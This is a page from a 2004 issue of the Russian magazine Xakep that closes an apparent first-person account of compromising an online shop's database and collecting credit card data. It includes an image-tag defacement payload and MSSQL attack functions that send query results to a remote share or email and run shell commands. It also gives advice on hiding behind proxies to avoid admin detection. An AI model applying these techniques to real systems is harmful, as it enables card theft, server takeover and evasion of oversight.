Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #65, МАЙ 2004 г.

Картофель фри

Федор Михайлович

Xakep, номер #065, стр. 065-074-5


Дефейс напоследок

Можно было очень легко задефейсить сайт, ведь я знал об устройстве всех таблиц и мог выполнять любые запросы. Но вставал вопрос о целесообразности этих действий. Во-первых, публично показав факт взлома, я наносил прямой ущерб репутации магазина, чего мне было не нужно. Во-вторых, если админ просечет фишку, креды очень скоро станут невалидными. Кроме того, я потеряю отличную площадку для постоянного сбора cc – ведь покупки в магазине совершаются ежедневно, соответственно, обновляется таблица с кредами. Из всего следовало, что дефейс мне совершенно не нужен. Однако я уже прикинул, как это можно было бы сделать. На главной странице находится информация о товарах, которые лучше всего продаются. Эти данные выбираются из таблицы rfProducts – соответственно, если мы изменим описания всех товаров на что-то вроде “<img src=hack.ru/hacked.jpg width=500 height=600>”, то на главной странице окажется куча красивых здоровенных картинок с гритсами и прочими “hacked by…”.

Итоги

Разумеется, кардингом мы с приятелем так и не занялись. Более того, я удалил полученные сведения о кредитках и написал системному администратору письмо, в котором подробно рассказал об уязвимостях и методах их устранения – в ответ, как и положено, тишина. А баг до сих пор работает. Остается только гадать, что может произойти, если сведения о платежах попадут в гнусные руки электронных мошенников.

Интересные функции MSSQL

Сервер MSSQL предоставляет пользователю целую кучу дополнительных функций, которые могут быть использованы и взломщиками:

1. sp_makewebtask ‘\\share\file.txt’, ‘mssql query’ – заносит результат выполнения запроса “mssql query” в текстовый файл, который может размещаться как на удаленном сервере, так и в файловой системе локальной машины. Функция имеет ряд дополнительных фишек, но нам они мало интересны – используются для более наглядного оформления результатов.

2. xp_sendmail ‘mail@xakep.ru’, “select * from table” – отправляет результат запроса на почту. Функция также имеет ряд дополнительных параметров, все они очень подробно описаны в MSDN, документы по этому поводу ты найдешь и на нашем CD.

3. xp_cmdshell ‘dir c:’ – выполняет команду для интерпретатора cmd на удаленном сервере. При помощи этой функции можно сделать массу полезных вещей, все зависит от твоей фантазии. Самые отмороженные взломщики могут, например, снести кучу системных файлов – если, конечно, у sql-юзера хватит для этого прав.

Собственная безопасность

При проведении подобных экспериментов будь осторожен! Знай, что в наше суровое время можно получить по рогам просто за то, что поставил в один из параметров скрипта неугодное админу значение – он может это истолковать как попытку взлома, а провайдеры обычно в таких случаях не медлят с отключением. Зачем тебе лишние проблемы? Используй анонимный прокси. Ежедневно обновляемый список proxy ты найдешь тут: www.samair.ru/proxy/. Кроме того, не забывай, что при использовании описанной уязвимости взломщику редко удается получить доступ к log-файлам. Поэтому старайся тщательно проверять отсылаемые серверу запросы, чтобы не выполнять одну и ту же процедуру по нескольку раз, увеличивая вероятность обнаружения твоих действий системным администратором. Будь осторожен.

Назад на стр. 065-074-4  Содержание  Вперед на стр. 065-074-6